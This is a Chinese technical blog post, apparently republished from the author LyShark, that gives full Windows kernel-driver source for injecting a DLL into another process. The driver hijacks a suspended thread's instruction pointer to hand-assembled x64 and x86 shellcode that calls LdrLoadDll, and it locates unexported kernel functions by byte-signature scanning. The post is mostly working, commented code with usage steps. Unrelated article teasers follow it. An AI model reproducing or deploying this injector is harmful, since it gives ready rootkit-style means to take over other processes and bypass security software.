						pCurrentContext->Eip = (ULONG)(ULONG64)(allcateAddress);
						DbgPrint("[*] 执行 [ %p ] 线程函数 \n", pCurrentContext->Eip);
					}
				}
				__except (EXCEPTION_EXECUTE_HANDLER) {}

				// 恢复线程
				g_PsResumeThread(threadObj, NULL);
				ObDereferenceObject(threadObj);
			}
			NtClose(threadHandle);
		}

		// 关闭线程
		KeUnstackDetachProcess(&kApc);
		ObDereferenceObject(pEprocess);
	}
	return STATUS_SUCCESS;
}

NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
	UNREFERENCED_PARAMETER(driver);
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
	DbgPrint("Hello LyShark.com \n");

	UNREFERENCED_PARAMETER(RegistryPath);

	// 初始化基址
	InitAddress(Driver);

	ULONG ProcessID = 4904;
	PVOID AllcateAddress = NULL;
	DWORD create_size = 1024;

	// 申请堆 《内核远程堆分配与销毁》核心代码
	NTSTATUS Status = AllocMemory(ProcessID, create_size, &AllcateAddress);

	// 执行ShellCode线程注入
	Status = GetCurrentContext(ProcessID, &AllcateAddress);

	Driver->DriverUnload = UnDriver;
	return STATUS_SUCCESS;
}

运行如上代码片段,则将输出进程ID=4904的当前进程内,线程上下文RIP地址,输出效果如下图所示;

KernelInjectDLL 驱动注入: 如上代码中我们已经找到了驱动注入时所需用到的关键函数,那么实现代码就变得很容易了,驱动注入的实现方式有很多种,不论哪一种其实现的难度并不在于代码本身,而在于某些结构如何正确的被找到,一旦结构被找到原理方面的代码可以说非常容易获取到,如下这段完整代码则是驱动注入的一个简化版,如果你觉得不方便完全可以自行添加IOCTL控制器让其更易于使用,此处为了节约篇幅不在增加冗余代码,代码已做具体分析和备注。

此注入驱动核心实现代码如下所示,其中SearchOPcode用于在内核模块中寻找符合条件的内存地址,GetNativeCode则用于生成一段可被调用的ShellCode代码,此代码执行的目的就是将DLL动态装载到对端内存中,SetThreadStartAddress则用于填充执行线程结构信息,GetUserModule用户获取进程内特定模块的基址,GetModuleExport用于在模块内寻找特定函数的基址,KernelInjectDLL则是最终注入函数,其首先将线程暂停,并注入生成的ShellCode,然后恢复线程让ShellCode跑起来,当ShellCode跑起来后将会自动的将特定目录下的DLL拉起来,以此来实现动态加载的目的。

// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com

#include "lyshark.h"

// 内核特征码定位函数封装
PVOID SearchOPcode(PDRIVER_OBJECT pObj, PWCHAR DriverName, PCHAR sectionName, PUCHAR opCode, int len, int offset)
{
	PVOID dllBase = NULL;
	UNICODE_STRING uniDriverName;
	PKLDR_DATA_TABLE_ENTRY firstentry;

	// 获取驱动入口
	PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pObj->DriverSection;

	firstentry = entry;
	RtlInitUnicodeString(&uniDriverName, DriverName);

	// 开始遍历
	while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
	{
		// 如果找到了所需模块则将其基地址返回
		if (entry->FullDllName.Buffer != 0 && entry->BaseDllName.Buffer != 0)
		{
			if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
			{
				dllBase = entry->DllBase;
				break;
			}
		}
		entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
	}

	if (dllBase)
	{
		__try
		{
			// 载入模块基地址
			PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)dllBase;
			if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
			{
				return NULL;
			}
			// 得到模块NT头
			PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)dllBase + ImageDosHeader->e_lfanew);

			// 获取节表头
			PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)pImageNtHeaders64 + sizeof(pImageNtHeaders64->Signature) + sizeof(pImageNtHeaders64->FileHeader) + pImageNtHeaders64->FileHeader.SizeOfOptionalHeader);

			PUCHAR endAddress = 0;
			PUCHAR starAddress = 0;

			// 寻找符合条件的节
			for (int i = 0; i < pImageNtHeaders64->FileHeader.NumberOfSections; i++)
			{
				// 寻找符合条件的表名
				if (memcmp(sectionName, pSectionHeader->Name, strlen(sectionName) + 1) == 0)
				{
					// 取出开始和结束地址
					starAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase;
					endAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase + pSectionHeader->SizeOfRawData;
					break;
				}
				// 遍历下一个节
				pSectionHeader++;
			}
			if (endAddress && starAddress)
			{
				// 找到会开始寻找特征
				for (; starAddress < endAddress - len - 1; starAddress++)
				{
					// 验证访问权限
					if (MmIsAddressValid(starAddress))
					{
						int i = 0;
						for (; i < len; i++)
						{
							// 判断是否为通配符'*'
							if (opCode[i] == 0x2a)
								continue;

							// 找到了一个字节则跳出
							if (opCode[i] != starAddress[i])
								break;
						}
						// 找到次数完全匹配则返回地址
						if (i == len)
						{
							return starAddress + offset;
						}
					}
				}
			}
		}
		__except (EXCEPTION_EXECUTE_HANDLER) {}
	}

	return NULL;
}

// 生成64位注入代码
PINJECT_BUFFER GetNativeCode(PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, ULONGLONG orgEip)
{
	SIZE_T Size = PAGE_SIZE;
	PINJECT_BUFFER InjectBuffer = NULL;
	UCHAR Code[] = {
		0x41, 0x57,                             // push r15
		0x41, 0x56,                             // push r14
		0x41, 0x55,                             // push r13
		0x41, 0x54,                             // push r12
		0x41, 0x53,                             // push r11
		0x41, 0x52,                             // push r10
		0x41, 0x51,                             // push r9
		0x41, 0x50,                             // push r8
		0x50,                                   // push rax
		0x51,                                   // push rcx
		0x53,                                   // push rbx
		0x52,                                   // push rdx
		0x55,                                   // push rbp
		0x54,                                   // push rsp
		0x56,                                   // push rsi
		0x57,                                   // push rdi
		0x66, 0x9C,                             // pushf
		0x48, 0x83, 0xEC, 0x26,                 // sub rsp, 0x28
		0x48, 0x31, 0xC9,                       // xor rcx, rcx
		0x48, 0x31, 0xD2,                       // xor rdx, rdx
		0x49, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,     // mov r8, ModuleFileName   offset +38
		0x49, 0xB9, 0, 0, 0, 0, 0, 0, 0, 0,     // mov r9, ModuleHandle     offset +48
		0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,     // mov rax, LdrLoadDll      offset +58
		0xFF, 0xD0,                             // call rax
		0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0,     // mov rdx, COMPLETE_OFFSET offset +70
		0xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0,     // mov [rdx], CALL_COMPLETE 
		0x48, 0xBA, 0, 0, 0, 0, 0, 0, 0, 0,     // mov rdx, STATUS_OFFSET   offset +86
		0x89, 0x02,                             // mov [rdx], eax
		0x48, 0x83, 0xC4, 0x26,                 // add rsp, 0x28
		0x66, 0x9D,                             // popf
		0x5F,                                   // pop rdi
		0x5E,                                   // pop rsi 
		0x5C,                                   // pop rsp
		0x5D,                                   // pop rbp
		0x5A,                                   // pop rdx
		0x5B,                                   // pop rbx
		0x59,                                   // pop rcx
		0x58,                                   // pop rax
		0x41, 0x58,                             // pop r8
		0x41, 0x59,                             // pop r9
		0x41, 0x5A,                             // pop r10
		0x41, 0x5B,                             // pop r11
		0x41, 0x5C,                             // pop r12
		0x41, 0x5D,                             // pop r13
		0x41, 0x5E,                             // pop r14
		0x41, 0x5F,                             // pop r15
		0x50,                                   // push rax
		0x50,                                   // push rax 
		0x48, 0xB8, 0, 0, 0, 0, 0, 0, 0, 0,     // mov rax, orgEip offset +130
		0x48, 0x89, 0x44, 0x24, 0x08,           // mov [rsp+8],rax
		0x58,                                   // pop rax
		0xC3                                    // ret
	};

	// 在当前进程内分配内存空间
	if (NT_SUCCESS(ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
	{
		// 初始化路径变量与长度参数
		PUNICODE_STRING UserPath = &InjectBuffer->Path;
		UserPath->Length = DllFullPath->Length;
		UserPath->MaximumLength = DllFullPath->MaximumLength;
		UserPath->Buffer = InjectBuffer->Buffer;

		RtlUnicodeStringCopy(UserPath, DllFullPath);

		// 将ShellCode拷贝到InjectBuffer中等待处理
		memcpy(InjectBuffer, Code, sizeof(Code));

		// 修改代码模板,将指定位置替换为我们自己的代码
		*(ULONGLONG*)((PUCHAR)InjectBuffer + 38) = (ULONGLONG)UserPath;
		*(ULONGLONG*)((PUCHAR)InjectBuffer + 48) = (ULONGLONG)& InjectBuffer->ModuleHandle;
		*(ULONGLONG*)((PUCHAR)InjectBuffer + 58) = (ULONGLONG)LdrLoadDll;
		*(ULONGLONG*)((PUCHAR)InjectBuffer + 70) = (ULONGLONG)& InjectBuffer->Complete;
		*(ULONGLONG*)((PUCHAR)InjectBuffer + 86) = (ULONGLONG)& InjectBuffer->Status;
		*(ULONGLONG*)((PUCHAR)InjectBuffer + 130) = orgEip;

		return InjectBuffer;
	}
	return NULL;
}

// 生成32位注入代码
PINJECT_BUFFER GetWow64Code(PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, ULONG orgEip)
{
	SIZE_T Size = PAGE_SIZE;
	PINJECT_BUFFER InjectBuffer = NULL;

	UCHAR Code[] = {
		0x60,                                   // pushad
		0x9c,                                   // pushfd
		0x68, 0, 0, 0, 0,                       // push ModuleHandle            offset +3 
		0x68, 0, 0, 0, 0,                       // push ModuleFileName          offset +8
		0x6A, 0,                                // push Flags  
		0x6A, 0,                                // push PathToFile
		0xE8, 0, 0, 0, 0,                       // call LdrLoadDll              offset +17
		0xBA, 0, 0, 0, 0,                       // mov edx, COMPLETE_OFFSET     offset +22
		0xC7, 0x02, 0x7E, 0x1E, 0x37, 0xC0,     // mov [edx], CALL_COMPLETE     
		0xBA, 0, 0, 0, 0,                       // mov edx, STATUS_OFFSET       offset +33
		0x89, 0x02,                             // mov [edx], eax
		0x9d,                                   // popfd
		0x61,                                   // popad
		0x50,                                   // push eax
		0x50,                                   // push eax
		0xb8, 0, 0, 0, 0,                       // mov eax, orgEip
		0x89, 0x44, 0x24, 0x04,                 // mov [esp+4],eax
		0x58,                                   // pop eax
		0xc3                                    // ret
	};

	/*
	如下代码中通过定义Code并写入调用模块加载的汇编指令集,通过运用ZwAllocateVirtualMemory在当前进程也就是附加到对端以后的进程内动态开辟了一块长度为Size的内存空间并赋予了PAGE_EXECUTE_READWRITE读写执行属性,
	由于Code代码无法直接使用,则此处调用RtlCopyMemory将指令拷贝到了InjectBuffer其目的是用于后续的填充工作,最后通过*(ULONG*)((PUCHAR)InjectBuffer + 3)的方式将需要使用的函数地址,
	模块信息等依次填充到汇编代码的指定位置,并返回InjectBuffer指针。
	*/

	// 在当前进程内分配内存空间
	if (NT_SUCCESS(ZwAllocateVirtualMemory(ZwCurrentProcess(), &InjectBuffer, 0, &Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
	{
		// 初始化路径变量与长度参数
		PUNICODE_STRING32 pUserPath = &InjectBuffer->Path32;
		pUserPath->Length = DllFullPath->Length;
		pUserPath->MaximumLength = DllFullPath->MaximumLength;
		pUserPath->Buffer = (ULONG)(ULONG_PTR)InjectBuffer->Buffer;

		// 将ShellCode拷贝到InjectBuffer中等待处理
		memcpy((PVOID)pUserPath->Buffer, DllFullPath->Buffer, DllFullPath->Length);
		memcpy(InjectBuffer, Code, sizeof(Code));

		// 修改代码模板,将指定位置替换为我们自己的代码
		*(ULONG*)((PUCHAR)InjectBuffer + 3) = (ULONG)(ULONG_PTR)& InjectBuffer->ModuleHandle;
		*(ULONG*)((PUCHAR)InjectBuffer + 8) = (ULONG)(ULONG_PTR)pUserPath;
		*(ULONG*)((PUCHAR)InjectBuffer + 17) = (ULONG)((ULONG_PTR)LdrLoadDll - ((ULONG_PTR)InjectBuffer + 17) - 5 + 1);
		*(ULONG*)((PUCHAR)InjectBuffer + 22) = (ULONG)(ULONG_PTR)& InjectBuffer->Complete;
		*(ULONG*)((PUCHAR)InjectBuffer + 33) = (ULONG)(ULONG_PTR)& InjectBuffer->Status;
		*(ULONG*)((PUCHAR)InjectBuffer + 44) = orgEip;
		return InjectBuffer;
	}

	return NULL;
}

// 设置线程执行地址
NTSTATUS SetThreadStartAddress(PETHREAD pEthread, BOOLEAN isWow64, PVOID LdrLoadDll, PUNICODE_STRING DllFullPath, PINJECT_BUFFER *allcateAddress)
{
	__try
	{
		// 判断是32位则执行
		if (isWow64)
		{
			// 得到线程TEB
			PVOID pTeb = g_PsGetThreadTeb(pEthread);
			if (pTeb)
			{
				// 得到当前线程上下文
				PWOW64_CONTEXT  pCurrentContext = (PWOW64_CONTEXT)(*(ULONG64*)((ULONG64)pTeb + WOW64CONTEXTOFFSET));

				// 检查上下文是否可读
				ProbeForRead((PVOID)pCurrentContext, sizeof(pCurrentContext), sizeof(CHAR));

				// 生成注入代码
				PINJECT_BUFFER newAddress = GetWow64Code(LdrLoadDll, DllFullPath, pCurrentContext->Eip);
				if (newAddress)
				{
					// 替换上下文地址到内存中
					newAddress->orgRipAddress = (ULONG64)& (pCurrentContext->Eip);
					newAddress->orgRip = pCurrentContext->Eip;
					*allcateAddress = newAddress;
					pCurrentContext->Eip = (ULONG)(ULONG64)(newAddress);
				}
				return STATUS_SUCCESS;
			}
		}
		// 执行64位代码
		else
		{
			// 验证地址是否可读取
			if (MmIsAddressValid((PVOID)* (ULONG64*)((ULONG64)pEthread + INITIALSTACKOFFSET)))
			{
				// 当前TID
				PKTRAP_FRAME pCurrentTrap = (PKTRAP_FRAME)(*(ULONG64*)((ULONG64)pEthread + INITIALSTACKOFFSET) - sizeof(KTRAP_FRAME));

				// 生成注入代码
				PINJECT_BUFFER newAddress = GetNativeCode(LdrLoadDll, DllFullPath, pCurrentTrap->Rip);
				if (newAddress)
				{
					// 替换当前RIP地址
					newAddress->orgRipAddress = (ULONG64)& (pCurrentTrap->Rip);
					newAddress->orgRip = pCurrentTrap->Rip;
					*allcateAddress = newAddress;
					pCurrentTrap->Rip = (ULONG64)newAddress;
				}
			}
			return STATUS_SUCCESS;
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {}

	return STATUS_UNSUCCESSFUL;
}

// 得到当前用户进程下的模块基址
PVOID GetUserModule(IN PEPROCESS EProcess, IN PUNICODE_STRING ModuleName, IN BOOLEAN IsWow64)
{
	if (EProcess == NULL)
		return NULL;
	__try
	{
		// 执行32位
		if (IsWow64)
		{
			// 获取32位下的PEB进程环境块
			PPEB32 Peb32 = (PPEB32)g_PsGetProcessWow64Process(EProcess);
			if (Peb32 == NULL)
				return NULL;

			if (!Peb32->Ldr)
				return NULL;

			// 循环遍历链表 寻找模块
			for (PLIST_ENTRY32 ListEntry = (PLIST_ENTRY32)((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList.Flink;
				ListEntry != &((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList;
				ListEntry = (PLIST_ENTRY32)ListEntry->Flink)
			{
				UNICODE_STRING UnicodeString;
				PLDR_DATA_TABLE_ENTRY32 LdrDataTableEntry32 = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY32, InLoadOrderLinks);

				// 初始化模块名
				RtlUnicodeStringInit(&UnicodeString, (PWCH)LdrDataTableEntry32->BaseDllName.Buffer);

				// 对比模块名是否符合
				if (RtlCompareUnicodeString(&UnicodeString, ModuleName, TRUE) == 0)
					return (PVOID)LdrDataTableEntry32->DllBase;
			}
		}
		// 执行64位
		else
		{
			// 得到64位PEB进程环境块
			PPEB Peb = PsGetProcessPeb(EProcess);
			if (!Peb)
				return NULL;

			if (!Peb->Ldr)
				return NULL;

			// 开始遍历模块
			for (PLIST_ENTRY ListEntry = Peb->Ldr->InLoadOrderModuleList.Flink;
				ListEntry != &Peb->Ldr->InLoadOrderModuleList;
				ListEntry = ListEntry->Flink)
			{
				// 得到表头
				PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);

				// 判断是否是所需要的模块
				if (RtlCompareUnicodeString(&LdrDataTableEntry->BaseDllName, ModuleName, TRUE) == 0)
					return LdrDataTableEntry->DllBase;
			}
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER){}

	return NULL;
}

// 根据函数名得到导出表地址
PVOID GetModuleExport(IN PVOID ModuleBase, IN PCCHAR FunctionName)
{
	PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
	PIMAGE_NT_HEADERS32 ImageNtHeaders32 = NULL;
	PIMAGE_NT_HEADERS64 ImageNtHeaders64 = NULL;
	PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL;
	ULONG ExportDirectorySize = 0;
	ULONG_PTR FunctionAddress = 0;

	if (ModuleBase == NULL)
		return NULL;

	__try
	{
		// 判断是否是DOS头
		if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
		{
			return NULL;
		}

		// 获取PE结构节NT头
		ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
		ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);

		// 判断是否是64位
		if (ImageNtHeaders64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
		{
			// 如果是64位则执行如下
			ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
			ExportDirectorySize = ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
		}
		else
		{
			// 如果32位则执行如下
			ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
			ExportDirectorySize = ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
		}

		// 取出导出表Index,名字,函地址等
		PUSHORT pAddressOfOrds = (PUSHORT)(ImageExportDirectory->AddressOfNameOrdinals + (ULONG_PTR)ModuleBase);
		PULONG  pAddressOfNames = (PULONG)(ImageExportDirectory->AddressOfNames + (ULONG_PTR)ModuleBase);
		PULONG  pAddressOfFuncs = (PULONG)(ImageExportDirectory->AddressOfFunctions + (ULONG_PTR)ModuleBase);

		// 循环导出表
		for (ULONG i = 0; i < ImageExportDirectory->NumberOfFunctions; ++i)
		{
			USHORT OrdIndex = 0xFFFF;
			PCHAR  pName = NULL;

			// 说明是序号导出
			if ((ULONG_PTR)FunctionName <= 0xFFFF)
			{
				// 得到函数序号
				OrdIndex = (USHORT)i;
			}
			// 说明是名字导出
			else if ((ULONG_PTR)FunctionName > 0xFFFF && i < ImageExportDirectory->NumberOfNames)
			{
				// 得到函数名
				pName = (PCHAR)(pAddressOfNames[i] + (ULONG_PTR)ModuleBase);
				OrdIndex = pAddressOfOrds[i];
			}

			else
				return NULL;

			// 判断函数名是否符合
			if (((ULONG_PTR)FunctionName <= 0xFFFF && (USHORT)((ULONG_PTR)FunctionName) == OrdIndex + ImageExportDirectory->Base) ||
				((ULONG_PTR)FunctionName > 0xFFFF && strcmp(pName, FunctionName) == 0))
			{
				// 得到完整地址
				FunctionAddress = pAddressOfFuncs[OrdIndex] + (ULONG_PTR)ModuleBase;
				break;
			}
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER){}

	return (PVOID)FunctionAddress;
}

// DLL模块注入线程函数
NTSTATUS KernelInjectDLL(ULONG pid, PUNICODE_STRING DllFullPath, PINJECT_BUFFER* allcateAddress)
{
	PEPROCESS pEprocess = NULL;

	// 根据PID得到进程Eprocess结构
	if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
	{
		KAPC_STATE kApc = { 0 };

		// 附加到进程内
		KeStackAttachProcess(pEprocess, &kApc);

		// 得到Ntdll.dll模块基址
		UNICODE_STRING ntdllString = RTL_CONSTANT_STRING(L"Ntdll.dll");
		PVOID NtdllAddress = GetUserModule(pEprocess, &ntdllString, g_PsGetProcessWow64Process(pEprocess) != 0);
		if (!NtdllAddress)
		{
			// 失败了则直接脱离附加
			KeUnstackDetachProcess(&kApc);
			ObDereferenceObject(pEprocess);
			return STATUS_UNSUCCESSFUL;
		}

		// 得到LdrLoadDLL模块的基址
		PVOID LdrLoadDll = GetModuleExport(NtdllAddress, "LdrLoadDll");
		if (!LdrLoadDll)
		{
			KeUnstackDetachProcess(&kApc);
			ObDereferenceObject(pEprocess);
			return STATUS_UNSUCCESSFUL;
		}

		HANDLE threadHandle = NULL;

		// 得到当前正在运行的线程上下文
		if (NT_SUCCESS(g_ZwGetNextThread((HANDLE)-1, (HANDLE)0, 0x1FFFFF, 0x240, 0, &threadHandle)))
		{
			PVOID threadObj = NULL;

			// 在对象句柄上提供访问验证,如果可以授予访问权限,则返回指向对象的正文的相应指针。
			NTSTATUS state = ObReferenceObjectByHandle(threadHandle, 0x1FFFFF, *PsThreadType, KernelMode, &threadObj, NULL);
			if (NT_SUCCESS(state))
			{
				// 暂停线程
				g_PsSuspendThread(threadObj, NULL);

				// 设置线程ShellCode代码
				SetThreadStartAddress(threadObj, g_PsGetProcessWow64Process(pEprocess) != 0, LdrLoadDll, DllFullPath, allcateAddress);

				// 恢复线程
				g_PsResumeThread(threadObj, NULL);
				ObDereferenceObject(threadObj);
			}
			NtClose(threadHandle);
		}

		// 关闭线程
		KeUnstackDetachProcess(&kApc);
		ObDereferenceObject(pEprocess);
	}
	return STATUS_SUCCESS;
}

NTSTATUS UnDriver(PDRIVER_OBJECT driver)
{
	UNREFERENCED_PARAMETER(driver);
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
{
	DbgPrint("Hello LyShark.com \n");

	UNREFERENCED_PARAMETER(RegistryPath);

	// -----------------------------------------------------------------------
	// 初始化
	// -----------------------------------------------------------------------
	UCHAR SuspendOpCode[] = { 0x48, 0x8b, 0xf9, 0x83, 0x64, 0x24, 0x20, 0x00, 0x65, 0x48, 0x8b, 0x34, 0x25, 0x88, 0x01 };
	UCHAR ResumeOpCode[] = { 0x48, 0x8b, 0xf9, 0xe8, 0xee, 0x4f, 0xa5, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25, 0x88 };

	// 特征码检索PsSuspendThread函数基址
	g_PsSuspendThread = (PPsSuspendThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", SuspendOpCode, sizeof(SuspendOpCode), -24);
	DbgPrint("PsSuspendThread = %p \n", g_PsSuspendThread);

	// 特征码检索PsResumeThread基址
	g_PsResumeThread = (PPsResumeThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", ResumeOpCode, sizeof(ResumeOpCode), -18);
	DbgPrint("PsResumeThread = %p \n", g_PsResumeThread);

	// 动态获取内存中的ZwGetNextThread基址
	UNICODE_STRING ZwGetNextThreadString = RTL_CONSTANT_STRING(L"ZwGetNextThread");
	g_ZwGetNextThread = (PZwGetNextThread)MmGetSystemRoutineAddress(&ZwGetNextThreadString);
	DbgPrint("ZwGetNextThread = %p \n", g_ZwGetNextThread);

	// 动态获取内存中的PsGetThreadTeb基址
	UNICODE_STRING PsGetThreadTebString = RTL_CONSTANT_STRING(L"PsGetThreadTeb");
	g_PsGetThreadTeb = (PPsGetThreadTeb)MmGetSystemRoutineAddress(&PsGetThreadTebString);
	DbgPrint("PsGetThreadTeb = %p \n", g_PsGetThreadTeb);

	// 动态获取内存中的PsGetProcessWow64Process基址
	UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process");
	g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString);
	DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);

	// -----------------------------------------------------------------------
	// 注入代码
	// -----------------------------------------------------------------------

	ULONG ProcessID = 984;
	UNICODE_STRING InjectDllPath = RTL_CONSTANT_STRING(L"C:\\Users\\lyshark\\Desktop\\hook.dll");
	PINJECT_BUFFER AllcateAddress = NULL;

	// 执行线程注入
	NTSTATUS Status = KernelInjectDLL(ProcessID, &InjectDllPath, &AllcateAddress);
	if (Status == STATUS_SUCCESS)
	{
		DbgPrint("[*] 线程注入PID = %d | DLL = %wZ \n", ProcessID, InjectDllPath);
	}

	Driver->DriverUnload = UnDriver;
	return STATUS_SUCCESS;
}

首先你需要自行准备好一个DLL文件,此处我的是hook.dll将文件放入到桌面,然后设置ProcessID指定进程ID,设置InjectDllPath指定DLL路径,签名后将驱动加载起来,此时你会看到WinDBG中的输出,且应用层的进程也会弹出hello lyshark的消息,说明注入成功了,如下图所示;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/651998.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】入门基础知识详解(二)

目录 一、内联函数 1、概念 2、特性 3、内联函数与宏的优缺点 二、auto关键字(C11) 1、auto 简介 2、auto的使用细则 2.1 auto与指针和引用结合起来使用 2.2 在同一行定义多个变量 3、auto不能推导的场景 3.1 auto 不能作为函数的参数 3.2 auto 不能直接用来声明数组 三、…

英语中如何描述五颜六色

前言 如何用英语描述五颜六色&#xff0c;看完这篇文章&#xff0c;你就学会了 &#x1f3e0;个人主页&#xff1a;我是沐风晓月 &#x1f9d1;个人简介&#xff1a;大家好&#xff0c;我是沐风晓月&#xff0c;阿里云社区博客专家 &#x1f609;&#x1f609; &#x1f495; …

Axure RP 9 基础教程 元件基础2

第一章&#xff1a;Axure RP 9的元件(2) 6、改变元件的位置 要改变元件的位置&#xff0c;只需要拖动对应的元件即可。另外也可以在顶部快捷样式菜单中设置坐标值&#xff0c;然后按回车键&#xff0c;让元件移动到指定位置。 X轴是横轴&#xff0c;改变可以调整左右的位置。 Y…

技术科普与解读:ChatGPT 大模型硬核解读!(一)家族历史从GPT-1到ChatGPT

多模态&#xff0c;指的是融合文本、图像、视频或音频等多种模态作为输入或输出。 GPT-4是严格意义上的多模态模型&#xff0c;可以支持图像和文字两类信息的同时输入&#xff0c;输出为文本。从学术界的分析来看&#xff0c;无论是知识/能力获取还是与现实物理世界的交互&…

【应用安全架构】什么是联合身份管理?

介绍 联合身份管理是一种可以在两个或多个信任域之间进行的安排&#xff0c;以允许这些域的用户使用相同的数字身份访问应用程序和服务。这称为联合身份&#xff0c;使用这种解决方案模式称为身份联合。 联合身份管理建立在两个或多个域之间的信任基础之上。例如&#xff0c;信…

如此有艺术感的AI生成式二维码,你肯定没有见过

这是一张很常见的图片&#xff0c;要说有特殊的话可能是由 AI 来生成的&#xff0c;其它并无特别之处。但给它加上三个定位点后&#xff0c;这张图就变成一个可以扫描识别的二维码&#xff1a; 真的假的&#xff1f;不信你长按图片识别一下&#xff01;我一次看到时&#xff0c…

基于Hexo和Butterfly创建个人技术博客,(8) 博客网站butterfly主题UI框架美化

Butterfly官方网站&#xff0c;请 点击进入 说明&#xff1a; 此文中的设置并不影响网站的整体&#xff0c;只是一些视觉上的调整&#xff0c;可以按需调整。 本章目标&#xff1a; 掌握butterfly主题的配置&#xff0c;优化UI样式 一、特效 1、过场动画 在每个页面打开前会有…

干货!具有三维感知的换脸算法

点击蓝字 关注我们 AI TIME欢迎每一位AI爱好者的加入&#xff01; 作者介绍 李逸轩 上海交通大学2022级硕士研究生&#xff0c;研究兴趣主要是三维人脸生成 报告题目 具有三维感知的换脸算法 内容简介 AI换脸旨在将一张给定目标图片中的人脸五官替换成源图片中的另一个人&#…

操作系统中的进程调度与优先级算法:理论与实践探索

前言 在计算机科学领域中&#xff0c;进程调度是操作系统中一个重要的组成部分&#xff0c;它负责决定哪个进程能够获得 CPU 的执行权&#xff0c;以及如何合理地分配 CPU 时间。通过合理的进程调度算法&#xff0c;可以提高系统的性能和响应能力。在本篇博客中&#xff0c;我…

ubuntu开发环境

boost介绍 Boost是一个广受欢迎的、开源的C程序库集合&#xff0c;提供了许多高质量和可重用的组件&#xff0c;涵盖了广泛的领域&#xff0c;如容器、算法、函数对象、日期与时间、正则表达式、文件系统、线程等。Boost旨在通过提供开发人员友好的C工具和组件来增强C的功能。…

阿里云主机详解:ECS/轻量/虚拟主机/GPU/裸金属/云电脑详解

阿里云云主机分为云虚拟主机、云服务器ECS、轻量应用服务器、GPU云服务器、弹性裸金属服务器、专有宿主机、FPGA云服务器、高性能计算E-HPC、无影云电脑等&#xff0c;阿里云百科来详细说下阿里云云主机详解&#xff1a; 目录 阿里云云主机 云服务器ECS 轻量应用服务器 云…

博泰应宜伦:把Vision Pro放大二十倍,就是未来汽车的终极形态

作者 | Amy 编辑 | 德新 新能源是上半场&#xff0c;智能化是下半场。 而随着智能汽车发展&#xff0c;智能座舱也不断革新&#xff0c;过去智能座舱的各项功能全面开花&#xff0c;竞争愈演愈烈&#xff0c;未来的座舱将如何被定义&#xff1f; 6月15日&#xff0c;博泰车联…

微信小程序手机号授权登录

